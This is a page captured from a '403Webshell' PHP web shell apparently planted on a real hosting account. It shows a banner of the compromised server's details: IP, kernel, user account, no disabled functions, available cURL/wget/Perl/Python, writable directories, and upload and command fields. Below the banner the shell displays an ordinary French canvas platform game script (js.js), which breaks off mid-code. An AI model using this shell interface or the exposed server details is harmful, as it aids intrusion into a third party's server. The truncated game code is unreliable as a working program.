403Webshell
Server IP : 109.234.162.214  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64
User : carpe ( 1178)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/carpe/public_html/jeu/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/carpe/public_html/jeu/js/js.js
var pull = true;
let player22=false;
let tibo = false;


let fleched = document.getElementById("fleched");
let flecheg = document.getElementById("flecheg");
let oe1 = document.getElementById("oe1");
let oe2 = document.getElementById("oe2");
fleched.addEventListener("click", () => {
	if(getComputedStyle(oe1).display != "none"){
		oe1.style.display = "none";
		oe2.style.display="flex";
		player22=true;
	}else{
		oe1.style.display ="flex";
		oe2.style.display = "none";
		player22=false;
	}
})
flecheg.addEventListener("click", () => {
	if(getComputedStyle(oe1).display != "none"){
		oe1.style.display = "none";
		oe2.style.display="flex";
		player22=true;
	}else{
		oe1.style.display ="flex";
		oe2.style.display = "none";
		player22=false;
	}
})

let togg11 =document.getElementById("togg11")
let start = document.getElementById("start")
togg11.addEventListener("click", () => {
	start.style.display = "none";
	pull=true;
	tibo=true;

})




let togg33 = document.getElementById("togg33")
togg33.addEventListener("click", () => {
	start.style.display = "flex";
	overlay.style.display = "none";
	pull=false;
})

let togg333 = document.getElementById("togg333")
togg333.addEventListener("click", () => {
	start.style.display = "flex";
	pull=false;
})





let togg1 = document.getElementById("togg1");
let togg2 = document.getElementById("togg2")
let touchess = document.getElementById("touches");
togg1.addEventListener("click", () => {
	if(getComputedStyle(touchess).display != "none"){
		touchess.style.display = "none";
		contain.style.display="flex";
	}else{
		touchess.style.display ="flex";
		contain.style.display = "none";
	}
})




window.onload = function(){

		let canvas = document.getElementById("canvas");
		let ctx = canvas.getContext('2d');
		let fond = new Image();
		fond.src = "Images/fondjeu.png";
		let perso = new Image();
		perso.src = "Images/chat3.png";
		let touches = new Clavier();
		let clic = new Image();
		clic.src = "Images/clic.png";
		let indice = new Image();
		indice.src = "Images/coin.png";
		let jotaro = new Image();
		jotaro.src = "Images/jotaro-spritesheet.png";
		let sous = new Image();
		sous.src = "Images/maison3.png";
		let raisin = new Image()
		raisin.src = "Images/raisin.png"
		let ciel = new Image()
		ciel.src = "Images/fondciel.png"
		let txt = new Image();
		txt.src = "Images/txt.png";
		let cont = new Image();
		cont.src = "Images/contour.png"
		let horse = new Image();
		horse.src = "Images/horse.png";
		let coeur = new Image()
		coeur.src = "Images/coeur.png";
		let lvl1 = new Image();
		lvl1.src = "Images/lvl1.png";
		let lvl2 = new Image();
		lvl2.src = "Images/lvl2.png";
		let ville = new Image()
		ville.src = "Images/ville.png"
		let cheval = new Image();
		cheval.src = "Images/cheval.png"
		let charette = new Image();
		charette.src = "Images/charette.png"
		let roue= new Image();
		roue.src= "Images/roue.png"
		let chat2= new Image();
		chat2.src= "Images/chat21.png"
		let toit = new Image();
		toit.src = "Images/toit.png"
		let portal = new Image();
		portal.src = "Images/portal.png"
		let desert = new	Image();
		desert.src = "Images/desert.png"
		let fonddesert = new Image();
		fonddesert.src = "Images/fonddesert.png";
		let babel = new Image();
		babel.src = "Images/babel.png";
		let colisey = new Image();
		colisey.src = "Images/colisey.png"
		let overit1 = new Image();
		overit1.src = "Images/overit1.png";
		let overit2 = new Image();
		overit2.src = "Images/overit2.png";
		let fight = new Image();
		fight.src = "Images/fight.png";
		let eclair = new Image();
		eclair.src = "Images/eclair.png";
		let cloche = new Image();
		cloche.src = "Images/cloche.png";
		let ciel2 = new Image();
		ciel2.src = "Images/fondciel2.png";
		let wof = new Image();
		wof.src = "Images/wof.png";
		let perso2 = new Image();
		perso2.src = "Images/perso2.png"
		let cheval2 = new Image();
		cheval2.src = "Images/cheval2.png"
		let charette2 = new Image();
		charette2.src = "Images/charette2.png"


		let audio = new Audio("ac2.mp4");
		let bell = new Audio("bell.mp4");
		let gladia = new Audio("gladia.mp4");
		let fighto = new Audio("fighto.mp4");
		let thunder = new Audio("thunder.mp4")
				
				

		var togg3 = document.getElementById("aud");





		let x = 100;
		let pas = 0;
		let pas2 = 0
		let col = 155;
		let col2 = 155;
		let y = 284;
		let yy = 0;
		let xx = 0;
		let xfond = 0;
		let ok = 600;
		let droite=false;
		let gauche=false;
		let saut=false;
		let compteur=0;
		let compteur2=0;
		let yinit = 0;
		let delai = false;
		let blabla = false;
		let mort = false;
		let mort2=false;
		let xxx = 0;
		let cielpos =0;
		let anim = false;
		let compta = 0;
		let dudelai = false;
		let encore = false;
		var posX = 400;
		var posY = 100;
		var posX2 = 470;
		var posY2 = 100;
		var coll = false;
		var coll2=false;
		let color = false;


		var grav=false;
		let compt=0;
		let ouistiti = true;
		let yahou = true;
		var ramasseraisin = false;
		var ramasseraisin2=false;
		var ramasseraisin3=false;
		var ramasseraisin4=false;
		let niveau1 = true;
		let niveau2 = false;
		let comptraisin = 0;
		let tonneau = new Image()
		tonneau.src = "Images/tonneau.png"
		let chargement1= false;
		let stamina = 6;
		let fatigue = false;
		let comptfatigue = 40;
		let yfond=50;
		let yyfond=50;

		let stamina2 = 6;
		let droite2 = false;
		let gauche2 = false;
		let fatigue2=false;
		let comptfatigue2 = 40;
		let niveau12=true;
		let niveau22=false;
		let compt2=false;
		let ouistiti2=false;
		let saut2=false;
		let delai2=false;

		let pascheval = 0;
		let event=false;
		let chevalX=-300;
		let comptcheval=0;
		let pasroue=0;

		let echape=false;
		let delaitouche=51;
		let bref=true;
		let bon = true;

		let drawing = false;
		let yyy=-100;
		let pattern1 = false;
		let pattern2 = false;
		let pattern3 = false;
		let comptcoll = 0;
		let aie=false;
		let compteur3 = 0;
		let vie = 9;
		let vie2 = 9;

		var a = 1;
		var b = 1;
		var c = 3;
		var score = 0;
		var score2 = 0;

		let ynuage=0;

		let portale = false;
		let jsp = false;
		let jsp2 = false;
		let comptjsp=10;
		let comptjsp2=10;
		let pvp=false;
		let decompte=false
		let decompte2=false;

		let menu =false;

		let timer=0;
		let timer2=0;

		let wfight=400;
		let hfight=200;
		let xfight=200;
		let yfight=100;
		let lecombat=true;

		let backup=0;
		let backup2=0;

		let comptpattern=0;
		let saucisson=false;
		let aaa=false;

		let ny=0;

		let comptportal = 0;
		let compteurportale=false;

		let pascloche = 0;
		let hophop=false;
		let oeoe=0;

		let eclaire=false;
		let compteclair=0;

		let miam=false;
		
		let tonx=0;
		let tony = 0;

		let hit = 1;
		let hit2 = 1;
		let varhit=0;

		let power1=false;
		let power2=false;
		let event2=false;

		let plouf=1;
		let piou = false;
		let timere=false;
		let plouf2=1;
		let piou2=false;
		let timere2=false;

		let oust=false;
		let comptoust=0;
		let ddd=false;
		let ggg=false;

		let oust2=false;
		let comptoust2=0;
		let ddd2=false;
		let ggg2=false;

		let woaf=0;

		let foudre=false;
		let comptfoudre=0;

		let comptscore=0;






		fond.onload = function(){

			setInterval(boucle,20); //FPS : 1000/20
			

		}

		
		function boucle(){



			var joueur1 = new Obstacle(posX,posY,30,30);
			var joueur2 = new Obstacle(posX2,posY2,30,30);
			
			if(!portale){
				var o1 = new Obstacle((-xx+110),yy+120,240,5);  //carré en haut à gauche
				var o3 = new Obstacle(0,0,1,1);
				var o4 = new Obstacle(-xx+400,yy+180,90,10);
				var o5 = new Obstacle(-xx+370,yy+30,30,30);
				var o6 = new Obstacle(-xx+390,yy+10,30,30);
				var o7 = new Obstacle(-xx+410,yy-10,30,30);
				var o8 = new Obstacle(-xx+430,yy-30,30,30);
				var o10 = new Obstacle(-xx+450,yy-60,30,30);
				var o11 = new Obstacle(-xx+470,yy-90,30,30);
				var o12 = new Obstacle(-xx+490,yy-120,30,30);
				var o14 = new Obstacle(-xx+550,yy-200,230,5);
				var o15 = new Obstacle(-xx+150,yy-250,280,5);
				var o16 = new Obstacle(-xx+180,yy-340,30,5);
				var o17 = new Obstacle(-xx+235,yy-380,30,5);
				var o18 = new Obstacle(-xx+295,yy-420,30,5);
				var o13 = new Obstacle(-xx+570,yy+50,180,5);
			}
			if(portale){
				var o1 = new Obstacle(0,0,1,1);  //carré en haut à gauche
				var o3 = new Obstacle(0,0,1,1);
				var o4 = new Obstacle(0,0,1,1);
				var o5 = new Obstacle(0,0,1,1);
				var o6 = new Obstacle(0,0,1,1);
				var o7 = new Obstacle(0,0,1,1);
				var o8 = new Obstacle(0,0,1,1);
				var o10 = new Obstacle(0,0,1,1);
				var o11 = new Obstacle(0,0,1,1);
				var o12 = new Obstacle(0,0,1,1);
				var o14 = new Obstacle(0,0,1,1);
				var o15 = new Obstacle(0,0,1,1);
				var o16 = new Obstacle(0,0,1,1);
				var o17 = new Obstacle(0,0,1,1);
				var o18 = new Obstacle(0,0,1,1);
				var o13 = new Obstacle(0,0,1,1);
			}


				var o19 = new Obstacle(0,0,1,1);
				var o20 = new Obstacle(0,0,1,1);
				var o30 = new Obstacle(0,0,1,1);
				var o31 = new Obstacle(0,0,1,1);
				var o32 = new Obstacle(0,0,1,1);
				var o33 = new Obstacle(0,0,1,1);
				var o34 = new Obstacle(0,0,1,1);
				var o341 = new Obstacle(0,0,1,1);
				var o35 = new Obstacle(0,0,1,1);
				var o40 = new Obstacle(0,0,1,1);
				var o41 = new Obstacle(0,0,1,1);
				var o42 = new Obstacle(0,0,1,1);
				var o421 = new Obstacle(0,0,1,1);
				var o422 = new Obstacle(0,0,1,1);
				var o43 = new Obstacle(0,0,1,1);
				var o44 = new Obstacle(0,0,1,1);
				var o333 = new Obstacle(0,0,1,1);
				var o334 = new Obstacle(0,0,1,1);
				var o45 = new Obstacle(0,0,1,1);
				var o46 = new Obstacle(0,0,1,1);
				var o401 = new Obstacle(0,0,1,1);
				var o402 = new Obstacle(0,0,1,1);
				var o403 = new Obstacle(0,0,1,1);
				var o404 = new Obstacle(0,0,1,1);
				var o4011 = new Obstacle(0,0,1,1);
				var o4021 = new Obstacle(0,0,1,1);
				var o4031 = new Obstacle(0,0,1,1);
				var o4041 = new Obstacle(0,0,1,1);
				var o4042 = new Obstacle(0,0,1,1);

				var o600 = new Obstacle(0,0,1,1);
				var o601 = new Obstacle(0,0,1,1);
				var o602 = new Obstacle(0,0,1,1);
				var o603 = new Obstacle(0,0,1,1);
				var o604 = new Obstacle(0,0,1,1);
				var o605 = new Obstacle(0,0,1,1);
				var o606 = new Obstacle(0,0,1,1);
				var o607 = new Obstacle(0,0,1,1);
				var o608 = new Obstacle(0,0,1,1);
				var o609 = new Obstacle(0,0,1,1);

				var o610 = new Obstacle(0,0,1,1);
				var o611 = new Obstacle(0,0,1,1);

				var o612 = new Obstacle(0,0,1,1);
				var o613 = new Obstacle(0,0,1,1);

				var o614 = new Obstacle(0,0,1,1);
				var o615 = new Obstacle(0,0,1,1);
				var o616 = new Obstacle(0,0,1,1);
				var o617 = new Obstacle(0,0,1,1);

				var o618 = new Obstacle(0,0,1,1);
				var o619 = new Obstacle(0,0,1,1);

				var o620 = new Obstacle(0,0,1,1);
				var o621 = new Obstacle(0,0,1,1);
				var o622 = new Obstacle(0,0,1,1);
				var o623 = new Obstacle(0,0,1,1);
				var o624 = new Obstacle(0,0,1,1);

				var o501 = new Obstacle(0,0,1,1);
				var o502 = new Obstacle(0,0,1,1);
				var o503 = new Obstacle(0,0,1,1);
				var o504 = new Obstacle(0,0,1,1);

				var o505 = new Obstacle(0,0,1,1);
				var o506 = new Obstacle(0,0,1,1);
				var o507 = new Obstacle(0,0,1,1);
				var o508 = new Obstacle(0,0,1,1);

				var o701 = new Obstacle(0,0,1,1);

				var o702 = new Obstacle(0,0,1,1);
				var o703 = new Obstacle(0,0,1,1);
				var o704 = new Obstacle(0,0,1,1);
				var o705 = new Obstacle(0,0,1,1);
				var o705 = new Obstacle(0,0,1,1);
				var o771 = new Obstacle(0,0,1,1);
				var o772 = new Obstacle(0,0,1,1);

				var o800 = new Obstacle(0,0,1,1);
				var o801 = new Obstacle(0,0,1,1);


				var o1000 = new Obstacle(0,0,1,1);

				var o9 = new Obstacle(0,0,1,1);

				

				var portall = new Obstacle(0,0,0,0);
				var portall2 = new Obstacle(0,0,0,0);

				var clochee = new Obstacle(0,0,1,1);
			

			

			

			if(a!=0&&!portale)
				var o9 = new Obstacle((-xx+190),yyy-1200,140,5);

			var joueur = new Obstacle(posX,posY,30,30);
			var joueur2 = new Obstacle(posX2,posY2,30,30)

			if(!portale&&a==0)
				var clochee = new Obstacle(210,yyy-940,50,100);

			if(portale){
				var o1 = new Obstacle(0,350,1000,10);  //carré en haut à gauche
				var o3 = new Obstacle(0,0,1,1);
				var o4 = new Obstacle(0,0,1,1);
				var o5 = new Obstacle(0,0,1,1);
				var o6 = new Obstacle(0,0,1,1);
				var o7 = new Obstacle(0,0,1,1);
				var o8 = new Obstacle(0,0,1,1);
				var o10 = new Obstacle(0,0,1,1);
				var o11 = new Obstacle(0,0,1,1);
				var o12 = new Obstacle(0,0,1,1);
				var o14 = new Obstacle(0,0,1,1);
				var o15 = new Obstacle(0,0,1,1);
				var o16 = new Obstacle(0,0,1,1);
				var o17 = new Obstacle(0,0,1,1);
				var o18 = new Obstacle(0,0,1,1);
				var o19 = new Obstacle(0,0,1,1);
				var o20 = new Obstacle(0,0,1,1);
				var o30= new Obstacle(0,0,1,1);
				var o31= new Obstacle(0,0,1,1);
				var o32 = new Obstacle(0,0,1,1);
				var o33 = new Obstacle(0,0,1,1);
				var o34 = new Obstacle(0,0,1,1);
				var o341 = new Obstacle(0,0,1,1);
				var o35 = new Obstacle(0,0,1,1);
				var o40 = new Obstacle(0,0,1,1);
				var o41 = new Obstacle(0,0,1,1);
				var o42 = new Obstacle(0,0,1,1);
				var o43 = new Obstacle(0,0,1,1);
				var o421 = new Obstacle(0,0,1,1);
				var o422 = new Obstacle(0,0,1,1);
				var o44 = new Obstacle(0,0,1,1);
				var o333 = new Obstacle(0,0,1,1);
				var o334 = new Obstacle(0,0,1,1);
				var o45 = new Obstacle(0,0,1,1);
				var o46 = new Obstacle(0,0,1,1);
				var o401 = new Obstacle(0,0,1,1);
				var o402 = new Obstacle(0,0,1,1);
				var o403 = new Obstacle(0,0,1,1);
				var o404 = new Obstacle(0,0,1,1);
				var o4011 = new Obstacle(0,0,1,1);
				var o4021 = new Obstacle(0,0,1,1);
				var o4031 = new Obstacle(0,0,1,1);
				var o4041 = new Obstacle(0,0,1,1);
				var o4042 = new Obstacle(0,0,1,1);
				var o9 = new Obstacle(0,0,1,1);


				var o600 = new Obstacle(0,0,1,1);
				var o601 = new Obstacle(0,0,1,1);
				var o602 = new Obstacle(0,0,1,1);
				var o603 = new Obstacle(0,0,1,1);
				var o604 = new Obstacle(0,0,1,1);
				var o605 = new Obstacle(0,0,1,1);
				var o606 = new Obstacle(0,0,1,1);
				var o607 = new Obstacle(0,0,1,1);
				var o608 = new Obstacle(0,0,1,1);
				var o609 = new Obstacle(0,0,1,1);

				var o610 = new Obstacle(0,0,1,1);
				var o611 = new Obstacle(0,0,1,1);

				var o612 = new Obstacle(0,0,1,1);
				var o613 = new Obstacle(0,0,1,1);

				var o614 = new Obstacle(0,0,1,1);
				var o615 = new Obstacle(0,0,1,1);
				var o616 = new Obstacle(0,0,1,1);
				var o617 = new Obstacle(0,0,1,1);

				var o618 = new Obstacle(0,0,1,1);
				var o619 = new Obstacle(0,0,1,1);

				var o620 = new Obstacle(0,0,1,1);
				var o621 = new Obstacle(0,0,1,1);
				var o622 = new Obstacle(0,0,1,1);
				var o623 = new Obstacle(0,0,1,1);
				var o624 = new Obstacle(0,0,1,1);

				var o501 = new Obstacle(0,0,1,1);
				var o502 = new Obstacle(0,0,1,1);
				var o503 = new Obstacle(0,0,1,1);
				var o504 = new Obstacle(0,0,1,1);

				var o505 = new Obstacle(0,0,1,1);
				var o506 = new Obstacle(0,0,1,1);
				var o507 = new Obstacle(0,0,1,1);
				var o508 = new Obstacle(0,0,1,1);

				var o1000 = new Obstacle(0,0,1,1);

				var o701 = new Obstacle(0,0,1,1);

				var o702 = new Obstacle(0,0,1,1);
				var o703 = new Obstacle(0,0,1,1);
				var o704 = new Obstacle(0,0,1,1);
				var o705 = new Obstacle(0,0,1,1);
				var o705 = new Obstacle(0,0,1,1);

				var o771 = new Obstacle(0,0,1,1);
				var o772 = new Obstacle(0,0,1,1);

				var o800 = new Obstacle(chevalX-100,280,300,70);
				var o801 = new Obstacle(chevalX+1350,300,300,70);
				

			}

			if(a==0&&!portale){
				var o600 = new Obstacle((-xx+330),yyy-1350,160,10);
				var o601 = new Obstacle((-xx+330),yyy-350,160,10);
				var o602 = new Obstacle((-xx+340),yyy-525,40,40);
				var o603 = new Obstacle((-xx+340),yyy-1525,40,40);
				var o604 = new Obstacle((-xx+300),yyy-550,40,40);
				var o605 = new Obstacle((-xx+300),yyy-1550,40,40);
				var o606 = new Obstacle((-xx+270),yyy-575,40,40);
				var o607 = new Obstacle((-xx+270),yyy-1575,40,40);
				var o608 = new Obstacle((-xx+240),yyy-600,40,40);
				var o609 = new Obstacle((-xx+240),yyy-1600,40,40);

				var o610 = new Obstacle((-xx+470),yyy-600,300,10);
				var o611 = new Obstacle((-xx+470),yyy-1600,300,10);

				var o612 = new Obstacle((-xx+540),yyy-700,20,10);
				var o613 = new Obstacle((-xx+540),yyy-1700,20,10);

				var o614 = new Obstacle((-xx+660),yyy-740,30,5);
				var o615 = new Obstacle((-xx+715),yyy-745,30,5);
				var o616 = new Obstacle((-xx+660),yyy-1740,30,5);
				var o617 = new Obstacle((-xx+715),yyy-1745,30,5);

				var o618 = new Obstacle((-xx+230),yyy-770,250,5);
				var o619 = new Obstacle((-xx+230),yyy-1770,250,5);

				var o620 = new Obstacle((-xx+595),yyy-840,30,30);
				var o621 = new Obstacle((-xx+570),yyy-870,30,30);
				var o622 = new Obstacle((-xx+545),yyy-900,30,30);
				var o623 = new Obstacle((-xx+520),yyy-930,30,30);
				var o624 = new Obstacle((-xx+495),yyy-960,30,30);

				ctx.drawImage(tonneau, -xx+450, yyy-450, 50,50);
				ctx.drawImage(tonneau, -xx+450, yyy-1450, 50,50);

				var o771 = new Obstacle(-xx+460, yyy-445, 40,40);
				var o772 = new Obstacle(-xx+460, yyy-1445, 40,40);
				

			}

			if(pattern1&&!portale){
				if(b==1){
					ctx.drawImage(overit1, -xx+100,yyy-1280,700,1000);

						var o501 = new Obstacle((-xx+550),yyy-990,210,10);
						var o502 = new Obstacle((-xx+690),yyy-1050,35,40);
						var o503 = new Obstacle((-xx+720),yyy-1170,35,10);
						var o504 = new Obstacle((-xx+670),yyy-1200,35,10);

						var o505 = new Obstacle((-xx+500),yyy-1180,40,30);
						var o506 = new Obstacle((-xx+460),yyy-1210,40,30);
						var o507 = new Obstacle((-xx+420),yyy-1240,40,30);
						var o508 = new Obstacle((-xx+380),yyy-1280,40,30);
				}
				if(b==0){
					var o701 = new Obstacle((-xx+525),yyy-1050,250,10);

						var o702 = new Obstacle((-xx+500),yyy-1170,30,30);
						var o703 = new Obstacle((-xx+470),yyy-1190,30,30);
						var o704 = new Obstacle((-xx+440),yyy-1210,30,30);
						var o705 = new Obstacle((-xx+410),yyy-1230,30,30);
						var o705 = new Obstacle((-xx+380),yyy-1260,30,30);
				}
			}

			

			



			if(a==1&&!portale){
				var o9 = new Obstacle((-xx+450),yyy-390,300,10);
				var o19 = new Obstacle((-xx+540),yyy-480,30,5);
				var o20 = new Obstacle((-xx+385),yyy-530,30,20);
				var o30 = new Obstacle((-xx+360),yyy-540,30,30);

				var o31 = new Obstacle((-xx+425),yyy-550,30,30);
				var o32 = new Obstacle((-xx+400),yyy-570,30,30);
				var o33 = new Obstacle((-xx+375),yyy-590,30,30);
				var o34 = new Obstacle((-xx+350),yyy-610,30,30);
				var o341 = new Obstacle((-xx+325),yyy-640,30,30)
				var o35 = new Obstacle((-xx+450),yyy-690,250,10);
				var o40 = new Obstacle((-xx+610),yyy-780,40,50);
				var o41 = new Obstacle((-xx+455),yyy-880,40,10);
				var o42 = new Obstacle((-xx+250),yyy-780,150,10);
				var o421 = new Obstacle((-xx+495),yyy-890,40,10);
				var o422 = new Obstacle((-xx+505),yyy-900,40,10);
				var o333 = new Obstacle((-xx+715),yyy-535,30,5);
				var o334 = new Obstacle((-xx+660),yyy-530,30,5);
				var o44 = new Obstacle((-xx+690),yyy-1050,35,40);
				var o43 = new Obstacle((-xx+550),yyy-1000,210,10);


				var o401 = new Obstacle((-xx+540),yyy-1480,30,5);
				var o402 = new Obstacle((-xx+450),yyy-1390,300,10);
				var o403 = new Obstacle((-xx+660),yyy-1530,30,5);
				var o404 = new Obstacle((-xx+715),yyy-1535,30,5);


				var o4011 = new Obstacle((-xx+425),yyy-1550,30,30);
				var o4021 = new Obstacle((-xx+400),yyy-1570,30,30);
				var o4031 = new Obstacle((-xx+375),yyy-1590,30,30);
				var o4041 = new Obstacle((-xx+350),yyy-1610,30,30);
				var o4042 = new Obstacle((-xx+325),yyy-1640,30,30);




				var o45 = new Obstacle((-xx+720),yyy-1160,35,10);
				var o46 = new Obstacle((-xx+670),yyy-1190,35,10);

				var o771 = new Obstacle(0,0,1,1);
				var o772 = new Obstacle(0,0,1,1);

			}

			
			if(!portale){
				var o1000 = new Obstacle(-xx+450, ny-200, 50,50);
			}

			if(foudre){
				var o2000= new Obstacle(posX,0,10,400)
				comptfoudre++;
			}

			if(comptfoudre>2){
				comptfoudre=0;
				foudre=false;
			}

			if(!foudre){
				var o2000= new Obstacle(0,0,1,1)
			}



			if(a!=1){
					var oraisin = new Obstacle(0,0,1,1);
					var oraisin2 = new Obstacle(0,0,1,1);
					var oraisin3 = new Obstacle(0,0,1,1);
					if(comptpattern<300)
						var oraisin4 = new Obstacle(0,0,1,1);
				}
				if(a!=0){
					var oraisin5 = new Obstacle(0,0,1,1);
					var oraisin6 = new Obstacle(0,0,1,1);
					var oraisin7 = new Obstacle(0,0,1,1);
					var oraisin8 = new Obstacle(0,0,1,1);
					
				}

				if(b!=1){
					var oraisin9 = new Obstacle(0,0,1,1);
				}

				if(b!=0){
					var oraisin10 = new Obstacle(0,0,1,1);
				}



				
			var obstacles2 = new Array(o501,o502,o503,o504,o505,o506,o507,o508,o421);
			var obstacles = new Array(o771,o772,o701,o702,o703,o704,o705,o600,o601,o602,o603,o604,o605,o607,o608,o609,o610,o611,o612,o613,o614,o615,o616,o617,o618,o619,o619,o620,o621,o622,o623,o624,o401,o4011,o402,o4021,o4031,o4041,o4042,o403,o404,o1000,o501,o502,o503,o504,o505,o506,o507,o508,o45,o46,o333,o334,o41,o42,o421,o422,o43,o44,o1,o3,o4,o5,o6,o7,o8,o9,o10,o11,o12,o13,o14,o15,o16,o17,o18,o19,o20,o30,o31,o32,o33,o34,o341,o35,o40); // Tableau de tous les obstacles
			var o; // Un obstacle quelconque
			if(!ramasseraisin&&!portale){
				
				var oraisin2 = new Obstacle(-xx+250,yyy-600,30,30)
				var oraisin3 = new Obstacle(-xx+500, yyy-284,30,30)
				var oraisin4 = new Obstacle(-xx+600, yyy-284,30,30);


				

				if(a==1){
					var oraisin = new Obstacle(-xx+510,yyy-414,30,30);
					var oraisin2 = new Obstacle(-xx+580,yyy-760,30,30);
					var oraisin3 = new Obstacle(-xx+510, yyy-1414,30,30);
					if(comptpattern<300)
						var oraisin4 = new Obstacle(-xx+720, yyy-1190,30,30);
				}
				if(a==0){
					var oraisin5 = new Obstacle(-xx+400, yyy-1414,30,30);
					var oraisin6 = new Obstacle(-xx+550, yyy-1614,30,30);
					var oraisin7 = new Obstacle(-xx+400, yyy-414,30,30);
					var oraisin8 = new Obstacle(-xx+550, yyy-614,30,30);
					
				}

				if(b==1){
					var oraisin9 = new Obstacle(-xx+720, yyy-1190,30,30);
				}

				if(b==0){
					var oraisin10 = new Obstacle(-xx+600, yyy-1114,30,30);
				}
				var food = new Array(oraisin,oraisin2,oraisin3,oraisin4,oraisin5,oraisin6,oraisin7,oraisin8,oraisin9,oraisin10);
		}

			if(!saut){
				for (p in obstacles2){
					o = obstacles2[p];
					if (o.collision(-xx+posX,posY,30,30)){
						posY=posY-0.5;
					}
			}
		}

		if(!saut2){
				for (p in obstacles2){
					o = obstacles2[p];
					if (o.collision(-xx+posX2,posY2,30,30)){
						posY2=posY2-0.5;
					}
			}
		}

			let varstamina = (stamina*100)/6;
			let varstamina2 = (stamina2*100)/6;
			

			if(niveau2){
				varstamina = (stamina*100)/8;
			}
			if(niveau22){
				varstamina2 = (stamina2*100)/8;
			}





			for (p in food){
					o = food[p];
					if (o.collision(posX,posY,32,64)){
						ramasseraisin = true;
						console.log("hey")
						timere=true;
						piou=true;
						plouf=plouf+0.2;
						stamina=8;

					}else{
						piou=false;
					}
					if (o.collision(posX2,posY2,32,64)){
						ramasseraisin = true;
						console.log("hey")
					
						timere2=true;
						piou2=true;
						plouf2=plouf2+0.2;
						stamina2=8;

					}else{
						piou2=false;
					}
		}


		if(timere){
			timer++;
			niveau2=true;
		}

		if(timere2){
			timer2++;
			niveau22=true;
		}
		
		if(timer>80){
			ramasseraisin=false;
			timer=0;
			timere=false;
			niveau2=false;
			stamina=6;
		}

		if(timer2>80){
			ramasseraisin=false;
			timer2=0;
			timere2=false;
			niveau22=false;
			stamina2=6;
		}




			


			
			

			


			ctx.save();

			if(!portale){

			ctx.drawImage(ciel, -cielpos,ynuage,1500,320);
			ctx.drawImage(ciel, -cielpos+1500,ynuage,1500,320);
			ctx.drawImage(ciel, -cielpos,ynuage-320,1500,320);
			ctx.drawImage(ciel, -cielpos+1500,ynuage-320,1500,320);
			ctx.drawImage(ciel, -cielpos,ynuage-640,1500,320);
			ctx.drawImage(ciel, -cielpos+1500,ynuage-640,1500,320);

			

			if(compteclair>10){
				ctx.drawImage(eclair, 20,0,300,400);

				ctx.save()
				ctx.translate(120,80);
				ctx.rotate(-1,1)
				ctx.drawImage(eclair, 0,0,300,400);
				ctx.restore()
				ctx.drawImage(eclair, 650,0,300,400);
			}

			

			ctx.drawImage(fond, -xfond-80,yfond,2000,350);
			ctx.drawImage(fond, -xfond+2040,yfond,2000,350);
			ctx.drawImage(babel, -xfond-80,yyfond-350,2000,350);
			ctx.drawImage(babel, -xfond-80,yyfond-700,2000,350);
			ctx.drawImage(babel, -xfond-80,yyfond-1050,2000,350);
			ctx.drawImage(tonneau, tonx, ny-40-tony, 50,50);
			ctx.drawImage(tonneau, tonx+200, ny-400-tony, 50,50);
			ctx.drawImage(sous, -xx+100,yy-500,700,900);


			
		}


		if(portale){
			ctx.drawImage(colisey, 0,0,1000,400);
			if(lecombat){
				ctx.drawImage(fight, xfight,yfight,wfight,hfight);
				fighto.play();
				wfight=wfight+9;
				hfight=hfight+4.5;
				xfight=xfight-4;
				yfight=yfight-4;
		}
		}



		if(wfight>800){
			lecombat=false;
		}

		


			if(!portale&&color){
				ctx.fillRect((-xx+110),yy+120,240,5);
				ctx.fillRect(-xx+970,310,30,30);
				ctx.fillRect(-xx+370,yy+30,30,30);
				ctx.fillRect(-xx+390,yy+10,30,30);
				ctx.fillRect(-xx+410,yy-10,30,30);
				ctx.fillRect(-xx+430,yy-30,30,30);
				ctx.fillRect(-xx+450,yy-60,30,30);
				ctx.fillRect(-xx+470,yy-90,30,30);
				ctx.fillRect(-xx+490,yy-120,30,30);

				ctx.fillRect(-xx+570,yy+50,180,5);
				ctx.fillRect(-xx+550,yy-200,230,5);
				ctx.fillRect(-xx+150,yy-250,280,5);

				ctx.fillRect(-xx+180,yy-340,30,5);
				ctx.fillRect(-xx+235,yy-405,30,5);
				ctx.fillRect(-xx+295,yy-445,30,5);




		}



		if(portale&&color){
			ctx.fillRect(0,350,1000,10);
		}

			

			

			if(pattern1&&!portale){
				if(b==1){
					ctx.drawImage(overit1, -xx+100,yyy-1280,700,1000);

						if(color){
						ctx.fillRect((-xx+550),yyy-990,210,10);
						ctx.fillRect((-xx+690),yyy-1050,35,40);
						ctx.fillRect((-xx+720),yyy-1170,35,10);
						ctx.fillRect((-xx+670),yyy-1200,35,10);

						ctx.fillRect((-xx+500),yyy-1180,40,30);
						ctx.fillRect((-xx+460),yyy-1210,40,30);
						ctx.fillRect((-xx+420),yyy-1240,40,30);
						ctx.fillRect((-xx+380),yyy-1270,40,30);
					}
				}
				if(b==0){
					ctx.drawImage(overit2, -xx+100,yyy-1280,700,1000);

					if(color){
					ctx.fillRect((-xx+525),yyy-1050,250,10);

					ctx.fillRect((-xx+500),yyy-1170,30,30);
					ctx.fillRect((-xx+470),yyy-1190,30,30);
					ctx.fillRect((-xx+440),yyy-1210,30,30);
					ctx.fillRect((-xx+410),yyy-1230,30,30);
					ctx.fillRect((-xx+380),yyy-1260,30,30);
				}
				}
				if(a==1){
					ctx.drawImage(overit1, -xx+100,yyy-2280,700,1000);

					if(!portale&&color){

						ctx.fillRect((-xx+450),yyy-390,300,10);
						
						ctx.fillRect((-xx+540),yyy-480,30,5);
						ctx.fillRect((-xx+660),yyy-530,30,5);
						ctx.fillRect((-xx+715),yyy-535,30,5);

						ctx.fillRect((-xx+540),yyy-1480,30,5);
						ctx.fillRect((-xx+450),yyy-1390,300,10);
						ctx.fillRect((-xx+660),yyy-1530,30,5);
						ctx.fillRect((-xx+715),yyy-1535,30,5);

						ctx.fillRect((-xx+425),yyy-550,30,30);
						ctx.fillRect((-xx+400),yyy-570,30,30);
						ctx.fillRect((-xx+375),yyy-590,30,30);
						ctx.fillRect((-xx+350),yyy-610,30,30);
						ctx.fillRect((-xx+325),yyy-640,30,30);
						//escalier decalé ( pas modif en de"ssous )


